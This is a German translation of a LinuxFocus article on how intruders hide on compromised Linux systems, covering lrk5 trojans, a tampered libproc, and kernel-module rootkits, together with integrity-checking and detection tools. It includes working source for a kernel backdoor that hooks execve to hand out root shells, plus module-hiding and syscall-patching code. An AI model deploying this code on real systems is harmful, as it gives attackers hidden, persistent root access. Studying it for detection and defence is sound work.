original in fr Fr�d�ric Raynal aka Pappy
fr to en Georges Tarbouriech
en to de Guido Socher, Karsten Schulz
Fr�d�ric Raynal errang einen Ph.D in Computerwissenschaften mit einer Arbeit �ber Methoden zum Verbergen von Informationen. Er ist der Chefredakteur eines franz�sischen Magazins namens MISC, welches sich der Computersicherheit widmet. Nebenbei bemerkt, ist er gerade auf Jobsuche.
Dieser Artikel wurde urspr�nglich in einer Spezialausgabe des
franz�sischen Linux Magazins mit dem Thema Sicherheit ver�ffentlicht.
Der Herausgeber, die Autoren und die �bersetzer erlaubten LinuxFocus
freundlicherweise, jeden Artikel aus dieser Ausgabe zu ver�ffentlichen.
Folglich wird LinuxFocus euch diese Artikel, sobald sie �bersetzt sind,
bringen. Einen Dank an alle Leute, die mit diesem Werk zu tun haben.
Dieser Abriss wird jedem Artikel aus dieser Reihe vorangestellt.
Dieser Artikel zeigt die verschiedenen Aktionen auf, die ein Cracker durchf�hren kann, nachdem er in eine Maschine eingedrungen ist. Wir werden au�erdem sehen, was ein Administrator unternehmen kann, um zu erkennen, dass seine Maschine gef�hrdet ist.
La�t uns annehmen, dass es einem Cracker gelang, in das System einzudringen, ohne uns darum zu k�mmern, auf welche Art ihm das gelang. Wir nehmen an, dass er alle Rechte (Administrator, root...) auf dieser Maschine besitzt. Das ganze System ist nicht mehr vertrauensw�rdig, selbst wenn jedes Tool behauptet, dass alles in Ordnung sei. Der Cracker bereinigte alle Systemprotokolle und hat es sich tats�chlich bequem auf dem System eingerichtet.
Sein erstes Ziel ist es, so diskret wie m�glich zu bleiben, um zu verhindern, dass der Administrator seine Anwesenheit entdeckt. Als n�chstes wird er die Tools installieren, die er ben�tigt, um die Dinge durchzuf�hren, die er vorhat.
Offensichtlich kann der Administrator auf seiner Maschine nicht laufend auf neue Verbindungen
achten. Dennoch mu� er ein ungewolltes Eindringen so schnell wie m�glich entdecken.
Die gef�hrdete Maschine kann eine Startrampe f�r die Programme des Crackers werden
(bot IRC, DDOS, ...). Zum Beispiel kann er, wenn er einen Sniffer benutzt, alle
Netzwerkpakete lesen. Viele Protokolle verschl�sseln die Daten und Passworte nicht,
(wie telnet
, rlogin
, pop3
, und viele andere).
Je mehr Zeit der Cracker also bekommt, desto mehr Kontrolle kann er �ber das
Netzwerk der gef�hrdeten Maschine �bernehmen.
Wenn seine Anwesenheit einmal entdeckt ist, tritt ein weiteres Problem auf: wir wissen nicht, was der Cracker im System ver�ndert hat. Er tauschte wahrscheinlich grundlegende Systembefehle und Diagnostik-Werkzeuge aus, um sich zu verstecken. Wir m�ssen dann sehr genau arbeiten, um sicherzugehen, dass wir nichts �bersehen. Ansonsten k�nnte das System auf ein Neues in Gefahr gebracht werden.
Die letzte Frage betrifft die zu unternehmenden Ma�nahmen. Es gibt zwei Verfahrensweisen. Entweder installiert der Administrator das komplette System neu, oder er ersetzt nur die korrumpierten Dateien. Eine Neuinstallation dauert eine ganze Weile, das Ersetzen der korrumpierten Programme, wobei sichergestellt wird, nichts zu �bersehen, erfordert gro�e Sorgfalt.
Welcher Methode auch der Vorzug gegeben wird, es wird empfohlen eine Sicherung des korrupten Systems durchzuf�hren, um den Weg zu entdecken, den der Cracker in das System genommen hat. Weiterhin k�nnte die Maschine in einer weitaus gr��eren Attacke benutzt worden sein, was zu rechtlichen Ma�nahmen gegen uns f�hren k�nnte. Keine Systemsicherung durchzuf�hren, k�nnte als Vernichtung von Beweismittel angesehen werden... w�hrend diese dich eigentlich entlasten k�nnten.
Hier diskutieren wir einige verschiedene Methoden, die benutzt werden, um auf dem �berfallenen System unsichbar zu bleiben, wobei einem h�chste Privilegien im erbeuteten System bewahrt bleiben.
Bevor wir zum Kern der Sache vorsto�en, lass uns ein wenig Terminologie definieren:
Wenn ein System �bernommen worden ist, ben�tigt der Cracker beide Arten von Programmen. Hintert�ren erlauben ihm, auf die Maschine zu gehen, selbst wenn der Administrator jedes Passwort �ndert. Trojaner erlauben ihm, ungesehen zu bleiben.
Wir unterscheiden f�r den Moment nicht, ob ein Programm ein Trojaner oder eine Hintert�r ist. Unser Ziel ist es, g�ngige Methoden zu zeigen, wie man sie implementiert (sie sind ziemlich identisch) und wie man sie entdeckt.
Zuletzt sei noch erw�hnt, dass die meisten Linux Distributionen einen
Authentifizierungsmechanismus bieten (d.h. gleichzeitig die Integrit�t und die
Herkunft �berpr�fen, z. B.: rpm --checksig
).
Es wird dringend empfohlen, diese �berpr�fung durchzuf�hren, bevor irgendwelche
Software auf dem System installiert wird. Falls du ein korruptes Archiv erhalten
und installiert hast, braucht es der Cracker nicht mehr machen. Das ist das, was unter
Windows mit Back Orifice passiert ist.
In der Unix-Vorgeschichte war es nicht sehr schwierig, ein Eindringen auf einer Maschine zu entdecken:
last
Kommando zeigt die Benutzerkonten, die von dem Eindringling
benutzt worden sind, und die Orte, von denen aus er sich mit dem System
verbunden hat, sowie die dazugeh�rigen Zeiten;
ls
zeigt Dateiinformationen und ps
listet die laufenden
Programme auf (sniffer, password cracker...);netstat
zeigt die aktiven Verbindungen der Maschine an;
ifconfig
weist darauf hin, ob eine Netzwerkkarte im
promiscuous
-Modus ist. Ein Modus, der es einem Sniffer erlaubt, alle
Netzwerkpakete zu lesenSeitdem haben Cracker Werkzeuge entwickelt, um diese Befehle zu ersetzen. Wie die Griechen ein h�lzernes Pferd gebaut haben, um Troja zu erobern, sehen diese Programme wie etwas Bekanntes aus und sind so dem Administrator vertraut. Diese neuen Programmversionen verbergen jedoch die Informationen, die den Cracker betreffen. Da die Dateien den gleichen Zeitstempel behalten wie die anderen Programme aus dem gleichen Verzeichnis und die Pr�fsummen sich (durch einen weiteren Trojaner) nicht ge�ndert haben, wird der "naive" Administrator v�llig hinters Licht gef�hrt.
Das Linux Root-Kit
(lrk
)
ist der klassische Vertreter seiner Art, auch wenn es bereits ein wenig alt ist.
Von Lord Somer entwickelt, liegt es heute in seiner f�nften Version vor.
Es gibt eine Menge weiterer Rootkits und wir werden hier nur die Merkmale dieses
einen diskutieren, um eine Idee zu vermitteln, was diese Werkzeuge leisten.
Die ersetzten Kommandos stellen priviligierten Zugang zum System zur Verf�gung.
Um zu verhindern, dass irgendjemand diese Kommandos benutzt und die �nderungen bemerkt,
sind sie durch ein Passwort gesch�tzt (Standard ist satori
), welches
zum Kompilierungszeitpunkt eingestellt werden kann.
ls
, find
, locate
,
xargs
oder du
werden seine Dateien nicht anzeigen;
ps
, top
oder pidof
verbergen seine Prozesse; netstat
zeigen die ungewollten Verbindungen nicht an, insbesondere
nicht die zu den Daemons des Crackers, wie
bindshell
, bnc
oder
eggdrop
; killall
l��t seine Prozesse weiterlaufen;ifconfig
zeigt nicht an, dass das Netzwerkger�t
im promiscuous
-Modus geschaltet ist (der "PROMISC
"-Text
erscheint normalerweise, wenn dem so ist); crontab
zeigt seine geplanten Aktivit�ten nicht;tcpd
protokolliert bestimmte Verbindungen, die in einer Konfigurationsdatei
stehen, nicht;syslogd
wie tcpd
.chfn
�ffnet eine Shell mit Root-Rechten, wenn das Rootkit-Passwort
als Benutzername mit eingegeben wurde;chsh
�ffnet eine Shell mit Root-Rechten, wenn das Rootkit-Passwort
als neue Shell eingegeben wurde;passwd
�ffnet eine Shell mit Root-Rechten, wenn das Rootkit-Passwort
als Passwort eingegeben wurde; login
erlaubt es dem Cracker, sich am System anzumelden,
wenn das Rootkit-Passwort eingegeben wird (dann wird die History-Funktion deaktiviert);su
wie login
;inetd
installiert eine Rootshell, die auf einem bestimmten
Port lauscht. Nach dem Verbindungsaufbau muss das Rootkit-Passwort in der
ersten Zeile eingegeben werden;rshd
f�hrt das angegebene Kommando mit Root-Rechten aus, wenn
der Benutzername das Rootkit-Passwort ist;sshd
arbeitet wie login
bietet jedoch Fernzugriff; fix
installiert das korrupte Program unter Beibehalten des
originalen Zeitstempels und der Pr�fsumme;linsniffer
erfasst Netzwerkpakete, Passworte und mehr;sniffchk
�berpr�ft, ob der Sniffer noch arbeitet;wted
erlaubt wtmp
-Datei Bearbeitung; z2
l�scht ungew�nschte Eintr�ge in den Dateien
wtmp
, utmp
und
lastlog
; Dieses klassische Rootkit ist veraltet, da die Rootkits der neuen Generation den Kernel direkt angreifen. Ferner werden diese ge�nderten Programme nicht mehr benutzt.
Falls unsere Sicherheits-Policy streng ist, kann diese Art Rootkits einfach entdeckt werden. Mit seinen Hash-Funktionen versorgt uns die Kryptographie mit den richtigen Werkzeugen dazu:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Ohne genau zu wissen, was ge�ndert wurde, sieht man sofort, dass das
installierte ifconfig
und das von lrk5
unterschiedlich
sind.
Folglich ist es erforderlich, sobald die Systeminstallation durchgef�hrt worden ist, die sensiblen Dateien (zu den "sensiblen Dateien" sp�ter mehr) als Hashwerte in eine Datenbank abzulegen, um eine Ver�nderung so schnell wie m�glich zu entdecken.
Die Datenbank mu� auf ein physisch unbeschreibbares Medium (floppy, nicht wiederbeschreibbare CD...) gespeichert werden. La�t uns annehmen, der Cracker errang Administratorrechte auf dem System. Wenn die Datenbank auf einer Nur-Lesen-Partition gespeichert w�re, m�sste der Cracker diese einfach nur mit Lese- und Schreibzugriff re-mounten, sie aktualisieren und wieder Nur-Lesen mounten. Wenn er daran denkt, wird er sogar die Zeitstempel anpassen. Danach wird, wenn man das n�chste Mal die Integrit�t pr�ft, kein Unterschied erkennbar sein. Das zeigt, dass die Superuser-Rechte nicht genug Schutz bieten, diese Datenbank zu �ndern.
Wenn das System aktualisiert wird, mu� auch diese Datenbank erneuert werden. Auf diese Art ist man in der Lage, die Authentizit�t des erneuerten Systems zu pr�fen und ungewollte Ver�nderungen zu entdecken.
So erfordert die �berpr�fung der Systemintegrit�t also zwei Bedingungen:
Das hei�t, jede System�berpr�fung muss mit Werkzeugen durchgef�hrt werden, die von einem anderen (nicht gef�hrdeten) System kommen.
Wie wir gesehen haben, erfordert es die �nderung vieler Dinge im System, um unsichtbar zu werden. Viele Befehle erlauben es uns zu ermitteln, ob eine Datei existiert und alle diese Befehle m�ssen ge�ndert werden. Das gleiche gilt f�r die Netzwerkverbindungen und die laufenden Prozesse auf der Maschine. Den letzen Punkt zu vergessen, ist ein schwerer Fehler, wenn Diskretion das Ziel ist.
In der heutigen Zeit benutzt man meistens dynamische Bibliotheken, um zu gro�e Programmdateien zu vermeiden. Um das oben erw�hnte Problem zu l�sen, geht man dazu �ber, nicht jedes Programm zu �ndern, sondern stattdessen die erforderlichen Funktionen in die passende Bibliothek einzubauen.
Lasst uns ein Beispiel nehmen, bei dem der Cracker die Betriebszeit der Machine, seit
er sie neu gestartet hat, �ndern m�chte.
Diese Information wird im System von verschiedenen Kommandos angezeigt,
wie uptime
, w
, top
.
Um die Bibliotheken kennenzulernen, die diese Programme benutzen, benutzen
wir das ldd
Kommando:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Neben der libc
, wird libproc.so
von allen
drei Programmen benutzt.
Das reicht, um den Quellcode zu bekommen und zu �ndern, wie
wir es wollen.
Hier werden wir die Version 2.0.7 benutzen, die im Verzeichnis
$PROCPS
liegt.
Der Quellcode des uptime
Befehls (in
uptime.c
) zeigt uns, dass wir die Funktionen
print_uptime()
(in
$PROCPS/proc/whattime.c
) und
uptime(double *uptime_secs, double *idle_secs)
(in
$PROCPS/proc/sysinfo.c
) finden k�nnen. Lasst uns
die letztere entsprechend unseren Bed�rfnissen �ndern:
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* assume never be zero seconds in practice */ 22: }
Wenn die Zeilen 12 bis 16
hinzugef�gt werden, wird die Funktion ein ge�ndertes Ergebnis
zur�ckliefern. Wenn die TERM
Umgebungsvariable nicht
den Wert "satori
" enth�lt, dann wird die up
Variable
proportional zum Logarithmus der wirklichen Betriebszeit der Maschine inkrementiert
(mit der benutzten Formel erreicht diese Betriebszeit schnell ein paar Jahre)
Um die neue Bibliothek zu kompilieren, f�gen wir die
-D_LIBROOTKIT_
und -lm
Optionen hinzu (f�r log(up);
).
Wenn wir mit ldd
nachsehen, welche Bibliotheken ein Programm nutzt, das
unsere uptime
Funktion nutzt, bemerken wir, dass libm
als
Teil dieser Auflistung angezeigt wird. Ungl�cklicherweise gilt das f�r die im System
installierten Programme so nicht. Wenn unsere Bibliothek so, wie sie ist, genutzt wird,
f�hrt das zu folgendem Fehler:
[procps-2.0.7]# ldd ./uptime //command compiled with the new libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //cmd d'origine libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //original command uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
Um zu verhindern, das die Programme alle neu kompiliert werden m�ssen,
reicht es, wenn man die Nutzung der statischen Mathematik-Bibliothek beim
Erstellen von libproc.so
erzwingt:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
So wird die Funktion log()
direkt in libproc.so
eingebunden. Die modifizierte Bibliothek mu� die gleichen Abh�ngigkeiten wie die
originale Bibliothek bewahren, sonst werden die abh�ngigen Programme nicht funktionieren.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Alles funktoniert bestens. Es scheint, dass top
die TERM
Umgebungsvariable benutzt, um seine Anzeige zu verwalten. Es ist besser, eine andere
Variable zu nutzen, um zu bewirken, dass der echte Wert angezeigt werden soll.
Die Vorkehrungen, die zu treffen sind, um �nderungen in dynamischen Bibliotheken zu
entdecken, entsprechen den vorher erw�hnten. Es gen�gt, die Hashwerte zu �berpr�fen.
Ungl�cklicherweise vers�umen es zu viele Administratoren, die Hashwerte zu berechnen
und konzentrieren sich nur auf gewohnte Verzeichnisse (/bin
, /sbin
,
/usr/bin
, /usr/sbin
, /etc
...), w�hrend alle
Verzeichnisse, die die Bibliotheken enthalten, ebenfalls zu den sensiblen geh�ren.
Wie auch immer, das Interesse dynamische Bibliotheken zu modifizieren, liegt nicht nur darin, gleichzeitig die verschiedenen Programmverhalten zu �ndern. Einige Programme, die zur Integrit�tspr�fung des Systems genutzt werden, benutzen ebenfalls diese Bibliotheken. Das ist ziemlich gef�hrlich! Auf einem sensiblen System m�ssen alle essentiellen Programme statisch kompiliert werden, damit sie nicht von �nderungen in den Bibliotheken in Mitleidenschaft gezogen werden.
Demnach ist das vorhin erw�hnte md5sum
Program ziemlich gef�hrlich:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Es ruft dynamische Funktionen von der libc
auf, die ge�ndert sein
kann (�berpr�fung mit nm -D `which md5sum`
).
Wenn zum Beispiel fopen()
genutzt wird, reicht es, den Dateipfad zu pr�fen.
Wenn dieser ein gecracktes Programm beschreibt, wird der Zugriff zum Originalprogramm
umgelenkt: der Cracker sollte es irgendwo im System versteckt haben.
Dieses einfache Beispiel zeigt die M�glichkeiten, um Integrit�tstests in die Irre zu f�hren. Wir haben gesehen, dass sie mit externen Werkzeugen durchgef�hrt werden sollten, also mit welchen von anderen Systemen. Wir entdecken jetzt, dass sie nutzlos sind, wenn sie Funtkionen vom gef�hrdeten System aufrufen.
Wir k�nnen jetzt ein Notfall-Kit zusammenstellen, das die Anwesenheit eines Crackers entdeckt:
ls
, um seine Dateien zu finden;ps
, um die Prozess-Aktivit�ten zu kontrollieren;netstat
, um Netzwerkverbindungen zu beobachten;ifconfig
, um den Netzwerkger�testatus zu kennen.Diese Programme repr�sentieren das Minimum. Andere Programme sind ebenfalls sehr lehrreich:
lsof
listet alle offenen Dateien des Systems auf;fuser
identifiziert die Prozesse, die eine Datei nutzen.Es sei hier erw�hnt, dass diese Befehle nicht nur genutzt werden, um die Anwesenheit eines Crackers zu entdecken, sondern um das System im Falle von Problemen zu diagnostizieren.
Es ist offensichtlich, dass jedes Program, das Teil eines Notfall-Kits ist, statisch kompiliert sein muss. Wir haben gerade gesehen, das dynamische Bibliotheken verh�ngnisvoll sein k�nnen.
Jede Bin�rdatei, die einen Cracker verraten k�nnte, �ndern, jede Bibliothek zu �ndern, w�re unm�glich. Unm�glich sagtest du? Nicht ganz.
Ein neue Root-Kit Generation ver�ndert den Kernel.
Unbegrenzt! Wie der Name sagt, ein LKM arbeitet im Kernel Space, und kann deshalb abslut alles kontrollieren.
F�r einen Cracker bietet das LKM:
chroot
gebaut wurde, zu entkommenDie L�nge der Liste h�ngt von der Fantasie des Crakers ab. Ein Systemadministrator kann jedoch die gleichen Methoden benutzen, um sein System zu sch�tzen:
Wie kann man sich gegen LKMs sch�tzen? Zur Compilierzeit kann man Unterst�tzung
f�r Module deaktivieren (N zu CONFIG_MODULES
sagen) oder es kann keine ausgew�hlt werden (nur mit Y und N antworten).
Das f�hrt zu einem sogenannten monolytischem Kernel.
Aber selbst ohne Modulunterst�tzung im Kernel ist es m�glich, einige
Module in den Speicher zu laden (nicht ganz einfach).
Silvio Cesare hat ein kinsmod
Programm geschrieben, mit dem
man den Kernel �ber /dev/kmem
angreifen kann.
Lies dazu die Datei runtime-kernel-kmem-patching.txt auf
Silvio's Homepage.
Um Modulprogrammierung zusammenzufassen: Alles h�ngt von zwei Funktionen
im Modul ab. init_module()
und cleanup_module()
.
Diese beiden Funktionen definieren das Verhalden eines Moduls. Da
sie vom Kernel im Kernel Space aufgerufen werden, k�nnen sie auf
den gesamten Speicher des Kernels zugreifen (Systemaufrufe, Symbole...).
Wir wollen eine Hintert�r (backdoor) Installation via LKM vorstellen.
Der Benutzer, der eine root Shell m�chte, braucht nur den Befehl
/etc/passwd
ausf�hren. Klar, das ist kein Befehl, aber
wir lenken einfach den Systemaufruf sys_execve()
um auf
/bin/sh
und erteilen root Privilegien.
Dieses Modul wurde mit verschiedenen Kenelversionen getestet: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Es funktioniert mit allen. Mit 2.2.19smp-ow1 (Multiprocessor mit Openwall Patch) gibt es uns jedoch keine root Privilegien. Der Kernel ist etwas empfindliches und zerbrechliches. Sei vorsichtig...
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Got it:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded:(\n"); }
Lass uns pr�fen, dass alles wie erwartet funktioniert:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
Nach dieser kurzen Vorf�hrung schauen wir uns mal /var/log/kernel
an:
syslogd
schreibt dort alle Nachrichten des Kernels, falls
kern.* /var/log/kernel
in /etc/syslogd.conf
gesetzt wurde:
charly kernel: [rootshell] Loaded:) charly kernel: [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) charly kernel: [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) charly kernel: [rootshell] Got it:))) charly kernel: [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) charly kernel: [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) charly kernel: [rootshell] Unloaded:(
Wenn man dieses Modul leicht ver�ndert, kann ein Systemadministrator
ein gutes �berwachungswerkzeug erhalten. Alle Kommandos, die im System
ausgef�hrt werden, stehen in der Logdatei. Das regs.ecx
Register
enth�lt **argv
und regs.edx
**envp
mit der aktuellen Struktur beschreibt die aktuelle Aufgabe.
Damit kann man �ber den **envp
auf die task struct zugreifen
und alle Informationen �ber das, was im System vorgeht, erhalten.
Der Administrator kann das Modul �ber einfache Integrit�tstests nicht mehr erkennen. Wir analysieren die Fingerabdr�cke, die ein solches root-kit zur�ckl��t:
rootshell.o
ist auf Dateisystemebene nicht
unsichtbar, da es ein sehr einfaches Modul ist. Es w�rde jedoch ausreichen,
sys_getdents()
zu �ndern, um das Modul unsichtbar zu machen.
sys_kill()
umdefinieren und ein SIGINVISIBLE
Signal einf�hren und den
Zugriff auf bestimmte Dateien in /proc
�ndern
(siehe das adore
lrk); lsmod
zeigt eine Liste der geladenen Module im Speicher:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]Wenn ein Modul geladen wird, erscheint es am Anfang der
module_list
und sein Name wird in /proc/modules
eingetragen. lsmod
liest einfach /proc/modules
, um Informationen zu finden. Wenn man
das Modul aus module_list
entfernt, so verschwindet es in
/proc/modules
:
int init_module(void) { [...] if (!module_list->next) //this is the only module:( return -1; // This works fine because __this_module == module_list module_list = module_list->next; [...] }Leider verhindert das ein sp�teres Entfernen des Moduls und seine Adresse bleibt im Speicher erhalten.
/proc/ksyms
: Diese Datei enth�lt eine Liste
aller im Kernel Space erreichbaren Symbole:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]Das
EXPORT_NO_SYMBOLS
Macro, von
include/linux/module.h
,
informiert den Compiler, dass keine Funktion oder Variable erreichbar
sein soll au�er dem Modul selbst:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }Jedoch bleiben f�r die 2.2.18, 2.2.19 et 2.4.x ( x<=3 - vielleicht auch f�r andere ) Kernel die
__insmod_*
Symbole sichtbar.
Entfernt man das Modul aus module_list
, so verschwindet es
auch aus der Symbolliste in /proc/ksyms
.
Die hier diskutierten Probleme/L�sungen brauchen User Space Befehle (normale Befehle). Ein gutes LKM wird all diese Techniken nutzen, um unsichtbar zu bleiben.
Es gibt zwei M�glichkeiten diese root-kits zu entdecken.
Die erste benutzt /dev/kmem
und vergleicht es mit
dem Kernel Image in /proc
. Ein Programm wie kstat
erlaubt es, in /dev/kmem
zu suchen und augenblickliche Prozesse
auf deren Einstiegsadressen f�r Systemaufrufe zu �berpr�fen...
Toby Millers Artikel Detecting Loadable Kernel Modules (LKM)
beschreibt, wie man kstat
benutzt, um so ein
root-kit zu entdecken.
Die zweite M�glichkeit ist, alle Versuche den System Call Table zu modifizieren,
aufzudecken.
Das St_Michael
Modul von Tim Lawless erlaubt solch eine �berwachung.
Die folgede Information wird sich wahrscheinlich �ndern, da das Modul noch
in der Entwicklung war, als dieser Text geschrieben wurde.
Wie wir gesehen haben, arbeiten die LKM Root-kits alle mit
System Call Table Modifizierung. Eine erste L�sung ist, die Adresse der Module
in einen zweiten Table zu schreiben und die Aufrufe, die sys_init_module()
und sys_delete_module()
handhaben, umzudefinieren.
Danach kann nach jedem Laden eines Modules �berpr�ft werden, dass
die Adressen noch passen:
/* Extract from St_Michael module by Tim Lawless */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Verify that the syscall table is the same. If its changed then respond We could probably make this a function in itself, but why spend the extra time making a call? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
Diese L�sung sch�tzt vor heutigen LKM Root-kits, aber sie ist noch lange
nicht perfekt. Sicherheit ist ein Wettr�sten. Hier ist z.B. eine Technik,
der heutige "Waffen" nichts anhaben k�nnen. Wenn man nicht die
System Call Adresse �ndern kann, warum nicht einfach den System Call selbst
�ndern? Das ist in Silvio Cesares stealth-syscall.txt beschrieben.
Dieser Angriff ersetzt die ersten Bytes eines System Calls mit
"jump &new_syscall
" (hier in pseudo Assembler):
/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
Wie wir unsere Programme und Bibliotheken mit Integrit�tstests sch�tzen,
m�ssen wir hier das gleiche machen. Wir merken uns eine Pr�fsumme
f�r jeden Systemcall. Das St_Michael
Modul versucht das
in einer neueren Version. Der init_module()
Aufruf wird
ver�ndert und nach jedem Laden eines Moduls kann ein Integrit�tstests
durchgef�hrt werden.
Jedoch ist es selbst hier m�glich, am Integrit�tstest vorbei zu kommen. Die Beispiele kommen von Tim Lawless, Mixman und mir. Der Quellcode ist von Mixman:
init_module()
, �ndern wir die ersten Bytes der Funktion
(printk()
in dem Beispiel) und springen nach
hacked_printk()
:
